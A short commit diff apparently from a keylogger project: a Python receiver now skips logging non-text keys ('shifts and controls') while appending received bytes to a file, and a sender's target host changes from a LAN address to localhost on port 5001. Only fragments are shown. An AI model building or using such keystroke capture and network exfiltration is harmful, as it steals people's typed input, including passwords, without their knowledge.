remove the logging of non-text keys
This commit is contained in:
parent
b9c4b014c2
commit
3fb89cdaa2
@ -43,6 +43,7 @@ while True:
|
|||||||
break
|
break
|
||||||
# write to the file the bytes we just received
|
# write to the file the bytes we just received
|
||||||
f = open(filename, 'ab')
|
f = open(filename, 'ab')
|
||||||
|
if (bytes_read.find("Key") == -1): #don't write shifts and controls
|
||||||
f.write(bytes_read)
|
f.write(bytes_read)
|
||||||
print(bytes_read)
|
print(bytes_read)
|
||||||
f.close()
|
f.close()
|
||||||
|
@ -9,7 +9,7 @@ BUFFER_SIZE = 128 # send 4096 bytes each time step
|
|||||||
|
|
||||||
|
|
||||||
# the ip address or hostname of the server, the receiver
|
# the ip address or hostname of the server, the receiver
|
||||||
host = "10.4.27.243"
|
host = "127.0.0.1"
|
||||||
# the port, let's use 5001
|
# the port, let's use 5001
|
||||||
port = 5001
|
port = 5001
|
||||||
# the name of file we want to send, make sure it exists
|
# the name of file we want to send, make sure it exists
|
||||||
|
Loading…
x
Reference in New Issue
Block a user